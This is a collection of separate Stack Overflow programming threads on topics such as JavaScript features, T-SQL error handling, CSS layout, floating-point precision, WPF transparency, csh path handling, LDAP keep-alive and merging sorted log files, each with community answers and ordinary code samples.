<p><strong>What "Hidden Features" of JavaScript do you think every programmer should know?</strong></p> <p>After having seen the excellent quality of the answers to the following questions I thought it was time to ask it for JavaScript.</p> <ul> <li><a href="https://stackoverflow.com/questions/954327/">Hidden Features of HTML</a></li> <li><a href="https://stackoverflow.com/questions/628407">Hidden Features of CSS</a></li> <li><a href="https://stackoverflow.com/questions/61401/">Hidden Features of PHP</a></li> <li><a href="https://stackoverflow.com/questions/54929/">Hidden Features of ASP.NET</a></li> <li><a href="https://stackoverflow.com/questions/9033/">Hidden Features of C#</a></li> <li><a href="https://stackoverflow.com/questions/15496/">Hidden Features of Java</a></li> <li><a href="https://stackoverflow.com/questions/101268/">Hidden Features of Python</a></li> </ul> <p>Even though JavaScript is arguably the most important Client Side language right now (just ask Google) it's surprising how little most web developers appreciate how powerful it really is.</p>
<p>You don't need to define any parameters for a function. You can just use the function's <code>arguments</code> array-like object.</p> <pre><code>function sum() { var retval = 0; for (var i = 0, len = arguments.length; i &lt; len; ++i) { retval += arguments[i]; } return retval; } sum(1, 2, 3) // returns 6 </code></pre>
<p>Well, it's not much of a feature, but it is very useful:</p> <p>Shows selectable and formatted alerts:</p> <pre><code>alert(prompt('',something.innerHTML )); </code></pre>
8,621
<p>In C# you can get the original error and trace the execution path (stack trace) using the inner exception that is passed up. I would like to know how this can be achieved using the error handling try/catch in sql server 2005 when an error occurs in a stored procedure nested 2 or 3 levels deep. </p> <p>I am hoping that functions like ERROR_MESSAGE(), ERROR_LINE(), ERROR_PROCEDURE(), ERROR_SEVERITY() can be easily passed up the line so that the top level stored proc can access them.</p>
<p>The best way to handle this is using OUTPUT parameters and XML. The sample code below will demonstrate how and you can modify what you do with the XML in the TopProcedure to better handle your response to the error.</p> <pre><code>USE tempdb go CREATE PROCEDURE SubProcedure @RandomNumber int, @XMLErrors XML OUTPUT AS BEGIN BEGIN TRY IF @RandomNumber &gt; 50 RaisError('Bad number set!',16,1) else select @RandomNumber END TRY BEGIN CATCH SET @XMLErrors = (SELECT * FROM (SELECT ERROR_MESSAGE() ErrorMessage, ERROR_LINE() ErrorLine, ERROR_PROCEDURE() ErrorProcedure, ERROR_SEVERITY() ErrorSeverity) a FOR XML AUTO, ELEMENTS, ROOT('root')) END CATCH END go CREATE PROCEDURE TopProcedure @RandomNumber int AS BEGIN declare @XMLErrors XML exec SubProcedure @RandomNumber, @XMLErrors OUTPUT IF @XMLErrors IS NOT NULL select @XMLErrors END go exec TopProcedure 25 go exec TopProcedure 55 go DROP PROCEDURE TopProcedure GO DROP PROCEDURE SubProcedure GO </code></pre> <p>The initial call to TopProcedure will return 25. The second will return an XML block that looks like this:</p> <pre><code>&lt;root&gt; &lt;a&gt; &lt;ErrorMessage&gt;Bad number set!&lt;/ErrorMessage&gt; &lt;ErrorLine&gt;6&lt;/ErrorLine&gt; &lt;ErrorProcedure&gt;SubProcedure&lt;/ErrorProcedure&gt; &lt;ErrorSeverity&gt;16&lt;/ErrorSeverity&gt; &lt;/a&gt; &lt;/root&gt; </code></pre> <p>Enjoy</p>
<p>One way you could do this would be to create an in memory table and insert rows into it when you catch an exception. You would then re-raise the exception and the next function up the chain would then have a chance to handle the exception or also log the exception to the in memory table. It's nasty, but unfortunately there doesn't seem to be a way to get the T-SQL call stack :(</p>
11,363
<p>This should be easy, but I'm having a hard time finding the easiest solution.</p> <p>I need an <code>NSString</code> that is equal to another string concatenated with itself a given number of times.</p> <p>For a better explanation, consider the following python example:</p> <pre><code>&gt;&gt; original = "abc" "abc" &gt;&gt; times = 2 2 &gt;&gt; result = original * times "abcabc" </code></pre> <p>Any hints?</p> <hr> <p>EDIT:</p> <p>I was going to post a solution similar to the one by <a href="https://stackoverflow.com/questions/260945/create-nsstring-by-repeating-another-string-a-given-number-of-times#260969">Mike McMaster's answer</a>, after looking at this implementation from the OmniFrameworks:</p> <pre><code>// returns a string consisting of 'aLenght' spaces + (NSString *)spacesOfLength:(unsigned int)aLength; { static NSMutableString *spaces = nil; static NSLock *spacesLock; static unsigned int spacesLength; if (!spaces) { spaces = [@" " mutableCopy]; spacesLength = [spaces length]; spacesLock = [[NSLock alloc] init]; } if (spacesLength &lt; aLength) { [spacesLock lock]; while (spacesLength &lt; aLength) { [spaces appendString:spaces]; spacesLength += spacesLength; } [spacesLock unlock]; } return [spaces substringToIndex:aLength]; } </code></pre> <p>Code reproduced from the file:</p> <pre><code>Frameworks/OmniFoundation/OpenStepExtensions.subproj/NSString-OFExtensions.m </code></pre> <p>on the OpenExtensions framework from the <a href="http://www.omnigroup.com/developer/" rel="noreferrer">Omni Frameworks</a> by <a href="http://www.omnigroup.com/" rel="noreferrer">The Omni Group</a>.</p>
<p>There is a method called <code>stringByPaddingToLength:withString:startingAtIndex:</code>:</p> <pre><code>[@"" stringByPaddingToLength:100 withString: @"abc" startingAtIndex:0] </code></pre> <p>Note that if you want 3 abc's, than use 9 (<code>3 * [@"abc" length]</code>) or create category like this:</p> <pre><code>@interface NSString (Repeat) - (NSString *)repeatTimes:(NSUInteger)times; @end @implementation NSString (Repeat) - (NSString *)repeatTimes:(NSUInteger)times { return [@"" stringByPaddingToLength:times * [self length] withString:self startingAtIndex:0]; } @end </code></pre>
<p>If you're using Cocoa in Python, then you can just do that, as PyObjC imbues <code>NSString</code> with all of the Python <code>unicode</code> class's abilities.</p> <p>Otherwise, there are two ways.</p> <p>One is to create an array with the same string in it <code>n</code> times, and use <code>componentsJoinedByString:</code>. Something like this:</p> <pre><code>NSMutableArray *repetitions = [NSMutableArray arrayWithCapacity:n]; for (NSUInteger i = 0UL; i &lt; n; ++i) [repetitions addObject:inputString]; outputString = [repetitions componentsJoinedByString:@""]; </code></pre> <p>The other way would be to start with an empty <code>NSMutableString</code> and append the string to it <code>n</code> times, like this:</p> <pre><code>NSMutableString *temp = [NSMutableString stringWithCapacity:[inputString length] * n]; for (NSUInteger i = 0UL; i &lt; n; ++i) [temp appendString:inputString]; outputString = [NSString stringWithString:temp]; </code></pre> <p>You may be able to cut out the <code>stringWithString:</code> call if it's OK for you to return a mutable string here. Otherwise, you probably should return an immutable string, and the <code>stringWithString:</code> message here means you have two copies of the string in memory.</p> <p>Therefore, I recommend the <code>componentsJoinedByString:</code> solution.</p> <p>[Edit: Borrowed idea to use <code>…WithCapacity:</code> methods from <a href="https://stackoverflow.com/questions/260945/create-nsstring-by-repeating-another-string-a-given-number-of-times#260969">Mike McMaster's answer</a>.]</p>
32,624
<p>I have a small to medium project that is in C++/CLI. I really hate the syntax extensions of C++/CLI and I would prefer to work in C#. Is there a tool that does a decent job of translating one to the other?</p> <p><strong>EDIT:</strong> When I said Managed c++ before I apparently meant c++/CLI</p>
<p>You can only translate Managed C++ code (and C++/CLI code) to C# if the C++ code is pure managed. If it is not -- i.e. if there is native code included in the sources -- tools like .NET Reflector won't be able to translate the code for you.</p> <p>If you do have native C++ code mixed in, then I'd recommend trying to move the native code into a separate DLL, replace your calls to DLL functions by easily identifiable stub functions, compile your project as a pure .NET library, then use .NET reflector to de-compile into C# code. Then you can replace the calls to the stub functions by p-invoke calls to your native DLL.</p> <p>Good luck! I feel for you!</p>
<p>Such projects are often done in c++/cli because C# isn't really an elegant option for the task. e.g. if you have to interface with some native C++ libraries, or do very high performance stuff in low level C. So just make sure whoever chose c++/cli didn't have a good reason to do it before doing the switch.</p> <p>Having said that, I'm highly skeptical there's something that does what you ask, for the simple reason that not all C++/cli code is translatable to C# (and probably vice versa too).</p>
9,953
<p>We are using Google Charts for render the chart images, but 500 requests/day became not enough. What PHP classes/frameworks are worth looking at?</p>
<p><a href="http://jpgraph.net/" rel="nofollow noreferrer">JpGraph</a> and <a href="http://graphpite.sourceforge.net/" rel="nofollow noreferrer">GraPHPite</a> are the most developed open-source packages available. I recommend GraPHPite in particular, it has a somewhat better API and produces better looking graphs.</p> <p><strong>Edit:</strong> I recently developed a small <a href="http://www.binpress.com/app/analytics-and-graphing-with-php-sql/851" rel="nofollow noreferrer">graphing library</a> for fetching database data, process it with PHP and create Google Analytics style interactive graphs from it (uses <a href="http://code.google.com/p/flot/" rel="nofollow noreferrer">flot</a> to render the graphs on the client side). It's basically a complete server/client solution to turning your database tables into graphs.</p>
<p>While not a PHP solution, we're using <a href="http://www.amcharts.com/" rel="nofollow noreferrer">amCharts</a> for the graphs within our application. They're Flash based, but look fantastic and allow your users to zoom in to the graph further. Graphs are drawn simply by generating XML with your data.</p>
42,112
<p>I have a prusa i3 with Mendel firmware and a RAMPS board. Recently it has been randomly stopping during prints. The LCD screen will lock up, the print will stop, and the heating elements will turn off. Pressing the reset button on the RAMPS restarts the system and it works fine.</p> <p>In addition to stopping during prints, it has also frozen up while just sitting while on.</p> <p>My first thought is the power supply (12V 30A) is going bad, but is there anything else I should check before I buy a new one and replace it?</p> <p>Update:</p> <p>I replaced the power supply with a new one, and the printer did not stop and completed a print. I am voting to close the question.</p>
<p>It could be several things.</p> <p>Your ramps board is overheating or has to much load on it. If you're not cooling the ramps board adding a fan may help the issue. </p> <p>I know Robo3D had this issue and started shipping with a fan to cool the ramps board.</p> <p>The ramps/arduino board could be faulty, the firmware may have gotten corrupted or the current version has a bug in the code.</p> <p>If you are not printing from the sdcard on the lcd controller and using software through a usb connection, that computer may be causing the issue as well.</p>
<p>I had the same thing, the printer was not heating the nozzle anymore after starting the print. I fixed this by reinstalling the firmware.</p> <p>It could also be that your stepper drivers are overheating. you can add a fan to cool them.</p> <p>The SD card could be bad, maybe try an other card or another .gcode file.</p> <p>It is probably not your power supply, a 30A power supply is more than enough, but you can measure the volts on the power supply while the printer is running, if it is around 12V it is probably alright.</p>
257
<p>I'm trying to create a horizontal navigation bar in css with 5 evenly spaced links. The html hopefully will remain like this:</p> <pre><code>&lt;div id="footer"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="one.html"&gt;One&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="two.html"&gt;Two&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="three.html"&gt;Three&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="four.html"&gt;Four&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="five.html"&gt;Five&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>So with CSS, I want to space them evenly within the footer div. So far I'm using this:</p> <pre><code>div#footer{ height:1.5em; background-color:green; clear:both; padding-top:.5em; font-size:1.5em; width:800px; } div#footer ul{ margin:0; padding:0; list-style:none; } div#footer li{ width:155px; display:inline-block; text-align:center; } </code></pre> <p>This works pretty well, but there is spacing between the li's that I do not want. That is why I've used the 155px instead of 160px for their width, there is about 5px of space being put in between each li. Where is that spacing coming from? How can I get rid of it? If I increase the fontsize, the spacing increases as well. </p>
<p>I've had this happen to me. Unfortunately it is caused by the browser taking the line breaks between the list items and rendering them as spaces. To fix, change your HTML to:</p> <pre><code>&lt;div id="footer"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="one.html"&gt;One&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="two.html"&gt;Two&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="three.html"&gt;Three&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="four.html"&gt;Four&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="five.html"&gt;Five&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>
<pre><code>div#footer ul{ margin:0; padding:0; list-style:none; } div#footer li{ width:155px; float:left; display:block; } </code></pre> <p>This code positioned li horizontally while the spaces between them. If you want to adding space between li elements: </p> <pre><code>div#footer li{ width:155px; margin-right: 5px; //5px Space between li elements float:left; display:block; } </code></pre>
34,842
<p>If I have the following code (this was written in .NET)</p> <pre><code>double i = 0.1 + 0.1 + 0.1; </code></pre> <p>Why doesn't <code>i</code> equal <code>0.3</code>?<br> Any ideas?</p>
<p>You need to read up on floating point numbers. Many decimal numbers don't have an exact representation in binary so they won't be an exact match.</p> <p>That's why in comparisons, you tend to see:</p> <pre><code>if (abs(a-b) &lt; epsilon) { ... </code></pre> <p>where epsilon is a small value such as 0.00000001, depending on the accuracy required.</p>
<p>Have a look at this thread:</p> <p><a href="https://stackoverflow.com/questions/177506/why-do-i-see-a-double-variable-initialized-to-some-value-like-214-as-2139999961">Why do I see a double variable initialized to some value like 21.4 as 21.399999618530273?</a></p>
28,316
<p>How can I go about hosting flash content inside a WPF form and still use transparency/alpha on my WPF window? Hosting a WinForms flash controls does not allow this.</p>
<p>Unless the control you use to display the Flash content is built in WPF, you will run in to these &quot;airspace&quot; issues. Every display technology from Win32 to WinForms used HWNDs &quot;under the hood&quot;, but WPF uses DirectX. The Window Manager in Windows however, still only understands HWNDs, so WPF apps have one top-level HWND-based window, and everything under that is done in DirectX (actually things like context menus and tooltips also have top-level HWNDs as well). Adam Nathan has a very good description of WPF interop in <a href="http://www.ddj.com/windows/197003872?pgno=1" rel="nofollow noreferrer">this article</a>.</p>
<p>Just have been struggling with same problem of how to upload &amp; Make WPF transparent with ability of displaying Flash, because if you enable on your MainWindow "Allow transparency" Flash will not show once the application will run.</p> <p><strong>1)</strong> I used WebBrowser Control to play Flash(.swf) files. They are on my PC, however it can play from internet or wherever you have hosted them. Don't forget to name your WebBrowser Control to get to it in C#.</p> <pre><code> private void Window_Loaded(object sender, RoutedEventArgs e) { MyHelper.ExtendFrame(this, new Thickness(-1)); this.MyBrowser.Navigate(@"C:\Happy\Download\flash\PlayWithMEGame.swf"); } </code></pre> <p><strong>2)</strong> Now for transparency. I have set in WPF 'false' to "Allow Transparency" and set "Window Style" to 'None'. After that I have used information from <a href="https://stackoverflow.com/questions/4253665/wpf-window-transparency-while-hosting-a-flash-activex-component?rq=1">HERE</a> and <a href="http://blogs.msdn.com/b/adam_nathan/archive/2006/05/04/589686.aspx" rel="nofollow noreferrer">HERE</a> and created a following code that produced desired effect of allowing transparency on MainWindow and running Flash at same time, here is my code:</p> <pre><code>public class MyHelper { public static bool ExtendFrame(Window window, Thickness margin) { IntPtr hwnd = new WindowInteropHelper(window).Handle; window.Background = Brushes.Transparent; HwndSource.FromHwnd(hwnd).CompositionTarget.BackgroundColor = Colors.Transparent; MARGINS margins = new MARGINS(margin); DwmExtendFrameIntoClientArea(hwnd, ref margins); return true; } [DllImport("dwmapi.dll", PreserveSig = false)] static extern void DwmExtendFrameIntoClientArea(IntPtr hwnd, ref MARGINS margins); } struct MARGINS { public MARGINS(Thickness t) { Left = (int)t.Left; Right = (int)t.Right; Top = (int)t.Top; Bottom = (int)t.Bottom; } public int Left; public int Right; public int Top; public int Bottom; } </code></pre> <p>And called it from Window_Loaded() + you need 'below' line for 'DllImport' to work.</p> <pre><code>using System.Runtime.InteropServices; using System.Windows.Interop; </code></pre>
9,273
<p>I'm trying to assign application pool to one web site in IIS7 using vb script:</p> <pre><code>' Connect to the WMI WebAdministration namespace.' Set oWebAdmin = GetObject("winmgmts:root\WebAdministration") ' Retrieve the application and display its Web site name and path.' Set oApp = oWebAdmin.Get("Application.SiteName='Default Web Site',Path='/site'") ' Specify a new application pool name and save it.' oApp.ApplicationPool = "NewAppPool" oApp.Put_ </code></pre> <p>the above script is not working!</p> <p>Is there is a better way to assign application pool to web site under IIS (Using script)?</p>
<p>Are you setting the app pool on a web site or a virtual directory?</p> <p>i.e., "Default Web Site/site" (virtual directory) or just "Site" (web site).</p> <p>If you trying to set it on a web site, not a virtual directory, you need to do something like:</p> <pre><code>Set oWebAdmin = GetObject("winmgmts:root\WebAdministration") Set oSite = oWebAdmin.Get("Site.Name='Site'") oSite.ApplicationDefaults.ApplicationPool = "NewAppPool" oSite.Put_ </code></pre>
<p>The correct way is:</p> <pre><code>Set oWebAdmin = GetObject("Application.Path='/site',SiteName='Default Web Site'") </code></pre> <p>instead of:</p> <pre><code>Set oWebAdmin = GetObject("Application.SiteName='Default Web Site',Path='/site'") </code></pre>
26,421
<p>I'm trying to implement an outdent of the first letter of the first paragraph of the body text. Where I'm stuck is in getting consistent spacing between the first letter and the rest of the paragraph. </p> <p>For example, there is a huge difference in spacing between a "W" and an "I"</p> <p><img src="https://i.stack.imgur.com/2TsvYm.png" alt="&#39;I&#39; Outdent"><br> <img src="https://i.stack.imgur.com/DnZVSm.png" alt="&#39;W&#39; Outdent"></p> <p>Anyone have any ideas about how to mitigate the differences? I'd prefer a pure CSS solution, but will resort to JavaScript if need be.</p> <p><strong>PS</strong>: I don't necessarily need compatibility in IE or Opera</p>
<p>Apply this to <code>p.outdent:first-letter</code>:</p> <pre><code>margin-left: -800px; padding-right: 460px; float: right; </code></pre> <p>This will position the first letter on the right edge of the paragraph, then shove it left it by more or less the width of the paragraph, then move both the letter and all the padding into the float's large negative margin so the paragraph fits in the margin and doesn't try to wrap around.</p>
<p>I tried using a fix-width font like 'courier new' and since the characters are more or less the same width it made it a lot less noticeable.</p> <p>Edit - this font is decent but might only work for windows</p> <pre class="lang-css prettyprint-override"><code>p.outdent:first-letter { font-family: ms mincho; font-size: 8em; line-height: 1; font-weight: normal; float: left; margin: -0.1em 0 0 -.55em; letter-spacing: 0.05em; } </code></pre>
13,260
<p>I stumbled over this passage in the <a href="http://www.djangoproject.com/documentation/tutorial01/" rel="noreferrer">Django tutorial</a>:</p> <blockquote> <p>Django models have a default <strong>str</strong>() method that calls <strong>unicode</strong>() and converts the result to a UTF-8 bytestring. This means that unicode(p) will return a Unicode string, and str(p) will return a normal string, with characters encoded as UTF-8.</p> </blockquote> <p>Now, I'm confused because afaik Unicode is not any particular representation, so what is a "Unicode string" in Python? Does that mean UCS-2? Googling turned up <a href="http://www.reportlab.com/i18n/python_unicode_tutorial.html" rel="noreferrer">this "Python Unicode Tutorial"</a> which boldly states</p> <blockquote> <p>Unicode is a two-byte encoding which covers all of the world's common writing systems.</p> </blockquote> <p>which is plain wrong, or is it? I have been confused many times by character set and encoding issues, but here I'm quite sure that the documentation I'm reading is confused. Does anybody know what's going on in Python when it gives me a "Unicode string"?</p>
<blockquote> <p>what is a "Unicode string" in Python? Does that mean UCS-2?</p> </blockquote> <p>Unicode strings in Python are stored internally either as UCS-2 (fixed-length 16-bit representation, almost the same as UTF-16) or UCS-4/UTF-32 (fixed-length 32-bit representation). It's a compile-time option; on Windows it's always UTF-16 whilst many Linux distributions set UTF-32 (‘wide mode’) for their versions of Python.</p> <p>You are generally not supposed to care: you will see Unicode code-points as single elements in your strings and you won't know whether they're stored as two or four bytes. If you're in a UTF-16 build and you need to handle characters outside the Basic Multilingual Plane you'll be Doing It Wrong, but that's still very rare, and users who really need the extra characters should be compiling wide builds.</p> <blockquote> <p>plain wrong, or is it?</p> </blockquote> <p>Yes, it's quite wrong. To be fair I think that tutorial is rather old; it probably pre-dates wide Unicode strings, if not Unicode 3.1 (the version that introduced characters outside the Basic Multilingual Plane).</p> <p>There is an additional source of confusion stemming from Windows's habit of using the term “Unicode” to mean, specifically, the UTF-16LE encoding that NT uses internally. People from Microsoftland may often copy this somewhat misleading habit.</p>
<p>From <a href="http://en.wikipedia.org/wiki/UTF-8" rel="nofollow noreferrer">Wikipedia on UTF-8</a>: </p> <blockquote> UTF-8 (8-bit UCS/Unicode Transformation Format) is a <strong>variable-length character encoding for Unicode. It is able to represent any character in the Unicode standard</strong>, yet the initial encoding of byte codes and character assignments for UTF-8 is backwards compatible with ASCII. For these reasons, it is steadily becoming the preferred encoding for e-mail, web pages[1], and other places where characters are stored or streamed. </blockquote> <p>So, it's anywhere between one and four bytes depending on which character you wish to represent within the realm of Unicode.</p> <p><a href="http://en.wikipedia.org/wiki/Unicode" rel="nofollow noreferrer">From Wikipedia on Unicode:</a></p> <blockquote> In computing, Unicode is an industry standard allowing computers to consistently represent and manipulate text expressed in <strong>most of the world's writing systems</strong>. </blockquote> <p>So it's able to represent most (but not all) of the world's writing systems. </p> <p>I hope this helps :)</p>
4,215
<p>With Hibernate, can you create a composite ID where one of the columns you are mapping to the ID can have null values?</p> <p>This is to deal with a legacy table that has a unique key which can have null values but no primary key.</p> <p>I realise that I could just add a new primary key column to the table, but I'm wondering if there's any way to avoid doing this.</p>
<p>No. Primary keys can not be null.</p>
<p>Why would you want to do that? Your composite ID should map the primary key of your table, and it doesn't sound wise to put null values in a key, does it?</p> <p><strong>EDIT:</strong> Hibernate does not allow to do so; you might put the property outside the key and tweak the DAO a little to take the field into account wherever necessary</p>
9,637
<p>It is typical to have something like this in your cshrc file for setting the path:</p> <pre><code>set path = ( . $otherpath $path ) </code></pre> <p>but, the path gets duplicated when you source your cshrc file multiple times, how do you prevent the duplication?</p> <p>EDIT: This is one unclean way of doing it:</p> <pre><code>set localpaths = ( . $otherpaths ) echo ${path} | egrep -i "$localpaths" &gt;&amp; /dev/null if ($status != 0) then set path = ( . $otherpaths $path ) endif </code></pre>
<p>Im surprised no one used the <code>tr ":" "\n" | grep -x</code> techique to search if a given folder already exists in $PATH. Any reason not to?</p> <p>In 1 line:</p> <pre><code>if ! $(echo "$PATH" | tr ":" "\n" | grep -qx "$dir") ; then PATH=$PATH:$dir ; fi </code></pre> <p>Here is a function ive made myself to add several folders at once to $PATH (use "aaa:bbb:ccc" notation as argument), checking each one for duplicates before adding:</p> <pre><code>append_path() { local SAVED_IFS="$IFS" local dir IFS=: for dir in $1 ; do if ! $( echo "$PATH" | tr ":" "\n" | grep -qx "$dir" ) ; then PATH=$PATH:$dir fi done IFS="$SAVED_IFS" } </code></pre> <p>It can be called in a script like this:</p> <pre><code>append_path "/test:$HOME/bin:/example/my dir/space is not an issue" </code></pre> <p>It has the following advantages:</p> <ul> <li>No bashisms or any shell-specific syntax. It run perfectly with <code>!#/bin/sh</code> (ive tested with dash)</li> <li>Multiple folders can be added at once</li> <li>No sorting, preserves folder order</li> <li>Deals perfectly with spaces in folder names</li> <li>A single test works no matter if $folder is at begginning, end, middle, or is the only folder in $PATH (thus avoiding testing x:*, *:x, <em>:x:</em>, x, as many of the solutions here implicitly do)</li> <li>Works (and preserve) if $PATH begins or ends with ":", or has "::" in it (meaning current folder)</li> <li>No <code>awk</code> or <code>sed</code> needed.</li> <li>EPA friendly ;) Original IFS value is preserved, and all other variables are local to the function scope.</li> </ul> <p>Hope that helps!</p>
<p>I always set my path from scratch in .cshrc. That is I start off with a basic path, something like:</p> <pre><code>set path = (. ~/bin /bin /usr/bin /usr/ucb /usr/bin/X11) </code></pre> <p>(depending on the system).</p> <p>And then do:</p> <pre><code>set path = ($otherPath $path) </code></pre> <p>to add more stuff</p>
16,435
<p>Is there a Delphi equivalent of the C# #if(DEBUG) compiler directive?</p>
<p>Use this:</p> <pre><code>{$IFDEF DEBUG} ... {$ENDIF} </code></pre>
<p>These control directives are available:</p> <pre><code>{$IFDEF} {$ELSE} {$ENDIF} {$IFNDEF} //if *not* defined </code></pre> <p>and they can be used as shown here:</p> <pre><code>procedure TfrmMain.Button1Click(Sender: TObject); begin {$IFDEF MY_CONDITIONAL} ShowMessage('my conditional IS defined!'); {$ELSE} ShowMessage('my conditional is NOT defined!'); {$ENDIF} {$IFNDEF MY_CONDITIONAL} ShowMessage('My conditional is explicitly NOT defined'); {$ENDIF} end; </code></pre>
17,789
<p>I want to clear the Firebug console of the JavaScript already sent.</p> <p>Does something like <code>console.clear()</code> exist and work?</p>
<p><code>console.clear();</code></p> <p>works for me</p>
<p>You can type clear(); in the Firebug command line. I don't think there's a way to do it from a web page though. </p>
19,150
<p>I have a form that tries to modify a JComponent's graphics context. I use, for example,</p> <pre><code>((Graphics2D) target.getGraphics()).setStroke(new BasicStroke(5)); </code></pre> <p>Now, immediately after I set the value and close the form, the change is not visible. Am I not allowed to modify a JComponent's graphics context? How else would I modify the stroke, color and transformations?</p> <p>Thanks,</p> <p>Vlad</p>
<p>There are several problems with that approach. The first is that most components will set these things themselves when ever they are asked to repaint themselves. This means that your change will be lost every time the component gets to the point where it would actually use it. But, on an even more fundamental level than that, Graphics2D objects are not persistant. They are typically instantiated every time the component is redrawn, meaning that the Graphics2D object you got won't be the same the component will be using when redrawing.</p> <p>What you need to do, to achieve this kind of thing is either to reimplement the specific component yourself, or implement a new look and feel that will affect the entire set of swing components. Have a look at the following link for further details about this:</p> <p><a href="http://today.java.net/pub/a/today/2006/09/12/how-to-write-custom-look-and-feel.html" rel="nofollow noreferrer"><a href="http://today.java.net/pub/a/today/2006/09/12/how-to-write-custom-look-and-feel.html" rel="nofollow noreferrer">http://today.java.net/pub/a/today/2006/09/12/how-to-write-custom-look-and-feel.html</a></a></p>
<p>OK, I've worked around the problem like this: The custom JComponent now holds a Stroke object, which is set by the "Choose stroke" form when the user clicks OK. Then, in the paint method of the JComponent, I set the stroke of the graphics context passed as parameter to paint to the one contained in the object. </p> <p>I have experimented and found out that, for some reason, JComponent.getGraphics().set* doesn't work.</p>
34,781
<p>Alright.</p> <p>So I figure it's about time I get into unit testing, since everyone's been banging on about it for long enough. I've installed NUnit and gone through a few "intro to unit testing" type tutorials.</p> <p>I'm currently putting together a small framework to help with the rebuild of one of our web apps, so I've created a VS2008 project for my framework and I want to unit test it as I go.</p> <p>How on earth do I go about unit testing the WebControls? The methods are all protected or private, and since it's a framework, there isn't much else but WebControls.</p> <p>Any pointers?</p> <p>Burns</p>
<p>You can do model-view-controller or model-view-presenter type architectures without using a full blown framework. You already found out that unit-testing ui-components is difficult. There are ways around that but you probably don't want to go that route. Usually this will make your tests very hard to maintain, more maintenance nightmare's is something programmers can do without :-)</p> <p>Try to separate out the functionality you want to test in a "controller" or "presenter" class. Then test that class. To make it more testable you can hide the usercontrol class (the view) behind an interface and make the controller or presenter talk to the view through the interface. That way you can mock up the view in your tests.</p> <p>I know this sounds like a lot of work and it seems like a workaround but if you get used to this it's a realy nice architecture that makes it far easier to change ui behaviour. You can always start using a "real" mvc framework when you realy need it :-)</p>
<p>The MVC framework mentioned above is the best way to test what the control does. However testing how it works is a bit different.</p> <p>This is totally off the cuff but you could make the user control expose some protected methods and properties to return validation information and then have a testing user control inherit it. That control could populate fields, press buttons and what not. Kind of messy but it could work.</p>
5,105
<p>What ports or modes of communication do you need to open up for SQL Server 2005 Transactional Replication? Main and slave are geographically separated.</p>
<p>Make sure you enable encryption, otherwise your replicated data could be sniffed by any one in between. The better solution would be to set up a VPN between your two locations to off load the encryption from SQL Server and also provide better security.</p>
<p>(Not an Answer)</p> <p>I regretted using SQL Replication back during the SQL Server 7 days. From what I've seen of SQL Server 2005, The tools have become more unusable.</p> <p>If I were in your position, I would look at some form of Transaction server that supports replication and set it up as a middle tier between your application and your database(s).</p>
39,563
<p>We are using OpenLDAP client library to conect to an LDAP server. The problem is that if there is no activity for some time, server (or firewall in the middle) drops TCP connection.</p> <p>Our current implementation of "keep-alive" just does search for baseDN from time to time - any better ideas ? </p>
<p><code>LDAP_OPT_RECONNECT</code> is not available in OpenLdap</p>
<p>The only alternative seems to be reconnect:</p> <pre><code>ldap_set_option( ld, LDAP_OPT_RECONNECT, LDAP_OPT_ON ); </code></pre>
40,429
<p>I've been a C# programmer for about 2 years total, and professionally for a little more than 1. I work at a company as a developer on an application that began before the days of .NET 2. My question is this:</p> <p>What is the benefit to use databinding from sql queries directly to a control over querying and manually adding items to the control? Is this approach generally considered cleaner, and simpler in terms of deploying? Will there still be cases where manually adding would give more fine grained control over the display / value of the data?</p> <p>I'm asking because I've been assigned some bugs that deal with some controls that populate themselves based off query results, and would love to clean up unnecessary logic and push that off to the libraries to handle instead of me.</p> <p>Note: We are using .NET 2.0</p>
<p>I personally find that using the </p> <pre><code>control.DataSource = YourSource; control.DataBind(); </code></pre> <p>process is much easier, you don't have to do the iteration, and overall reduces LOC.</p> <p>If working with DropDownLists and other controls you will most likely set the DataValueField and DataTextField properties as well.</p>
<p>It can be useful to manually bind if you've got a complex input scenario. With databound input controls you can find that you only know you've got bad data when it hits the DB and throws an exception (badly formatted date/time, integer out of correct range etc). </p> <p>You can obviously handle this with the various validation / pre-commit events on the data controls but it can be easier (and more obviously readable) to just manually validate your input and post it when you know it's correct.</p> <p>That's the only reason I can think of and it's only applicable for input. If you're in a read-only scenario then databinding is a no-brainer.</p>
31,301
<p>I have several log files of events (one event per line). The logs can possibly overlap. The logs are generated on separate client machines from possibly multiple time zones (but I assume I know the time zone). Each event has a timestamp that was normalized into a common time (by instantianting each log parsers calendar instance with the timezone appropriate to the log file and then using getTimeInMillis to get the UTC time). The logs are already sorted by timestamp. Multiple events can occur at the same time, but they are by no means equal events.</p> <p>These files can be relatively large, as in, 500000 events or more in a single log, so reading the entire contents of the logs into a simple Event[] is not feasible.</p> <p>What I am trying do is merge the events from each of the logs into a single log. It is kinda like a mergesort task, but each log is already sorted, I just need to bring them together. The second component is that the same event can be witnessed in each of the separate log files, and I want to "remove duplicate events" in the file output log.</p> <p>Can this be done "in place", as in, sequentially working over some small buffers of each log file? I can't simply read in all the files into an Event[], sort the list, and then remove duplicates, but so far my limited programming capabilities only enable me to see this as the solution. Is there some more sophisticated approach that I can use to do this as I read events from each of the logs concurrently?</p>
<ol> <li><p>Read the first line from each of the log files</p></li> <li><p>LOOP</p> <p>a. Find the "earliest" line.</p> <p>b. Insert the "earliest" line into the master log file</p> <p>c. Read the next line from the file that contained the earliest line</p></li> </ol> <p>You could check for duplicates between b and c, advancing the pointer for each of those files.</p>
